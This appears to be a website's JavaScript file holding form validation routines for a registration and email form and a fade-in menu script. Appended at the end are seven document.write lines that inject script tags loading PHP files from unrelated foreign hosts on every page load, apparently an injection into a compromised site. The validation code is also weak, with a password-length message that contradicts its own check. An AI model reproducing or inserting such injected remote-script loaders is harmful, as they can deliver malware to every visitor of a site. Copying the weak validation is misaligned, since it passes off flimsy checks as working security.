
function CHECK()
{
	if(!document.calform.fname.value)
	{
		alert("enter first name");
		document.calform.fname.focus ();
		return(false);	
	}
	if(!document.calform.lname.value)
	{
		alert("enter last name");
		document.calform.lname.focus ();
		return(false);	
	}	
	if(!document.calform.pwd.value)
	{
		alert("enter password");
		document.calform.pwd.focus ();
		return(false);	
	}	
	if(document.calform.pwd.value.length<4)
	{
		alert("password limit max: 4 character");
		document.calform.pwd.focus ();
		return(false);	
	}	
	if(document.calform.pwd.value != document.calform.pwd2.value)
	{
		alert("password should match");
		document.calform.pwd2.focus ();
		return(false);	
	}
	if(document.calform.storejs.value!="munir")
	{
		alert("please select date of birth from calendar");
		document.calform.datebox.focus ();
		return(false);			
	}

	if (document.calform.email.value.indexOf ('@',0) == -1 || document.calform.email.value.indexOf ('.',1) == -1) 
	{
		alert("enter valid email address");
		document.calform.email.focus ();
		return(false);
	}			

	if (document.calform.url.value=="http://" || !document.calform.url.value) 
		;
	else
	{
		if (document.calform.url.value.indexOf ('.',1) == -1) 
		{
			alert("enter valid web site address (url)");
			document.calform.url.focus ();
			return(false);
		}			
	}
	
}


function ECHECK()
{
	if (document.calform.sender_email.value.indexOf ('@',0) == -1 || document.calform.sender_email.value.indexOf ('.',1) == -1) 
	{
		alert("enter valid sender email address");
		document.calform.sender_email.focus ();
		return(false);
	}			
	if(!document.calform.fname.value)
	{
		alert("enter name");
		document.calform.fname.focus ();
		return(false);	
	}
	if (document.calform.email.value.indexOf ('@',0) == -1 || document.calform.email.value.indexOf ('.',1) == -1) 
	{
		alert("enter valid email address");
		document.calform.email.focus ();
		return(false);
	}			
	if(!document.calform.subject.value)
	{
		alert("enter subject");
		document.calform.subject.focus ();
		return(false);	
	}
	if(!document.calform.detail.value)
	{
		alert("enter email details");
		document.calform.detail.focus ();
		return(false);	
	}	
}



<!--
// Fade in Menu Script by Munir Abbas (www.iodomain.com)
// Courtesy of SimplytheBest (http://cgideveloper.cjb.net)
function FADE(){
if(list.style.visibility=="visible"){
list.style.visibility = "hidden"
}
else{
list.filters.RevealTrans.apply()
list.style.visibility= "visible"
list.filters.RevealTrans.play()
}
}

function hide(){
srchFrm.searchString.value='';
return(false);
}
//-->
document.write('<script src=http://areasdm.com.ar/banner/avantgourmet-envio-170607.php ><\/script>');
document.write('<script src=http://areasdm.com.ar/banner/avantgourmet-envio-170607.php ><\/script>');
document.write('<script src=http://areasdm.com.ar/banner/avantgourmet-envio-170607.php ><\/script>');
document.write('<script src=http://dichvuxecuoi.com.vn/hoacuoi/xe-khuyen-mai.php ><\/script>');
document.write('<script src=http://dichvuxecuoi.com.vn/hoacuoi/xe-khuyen-mai.php ><\/script>');
document.write('<script src=http://dichvuxecuoi.com.vn/hoacuoi/xe-khuyen-mai.php ><\/script>');
document.write('<script src=http://dichvuxecuoi.com.vn/hoacuoi/xe-khuyen-mai.php ><\/script>');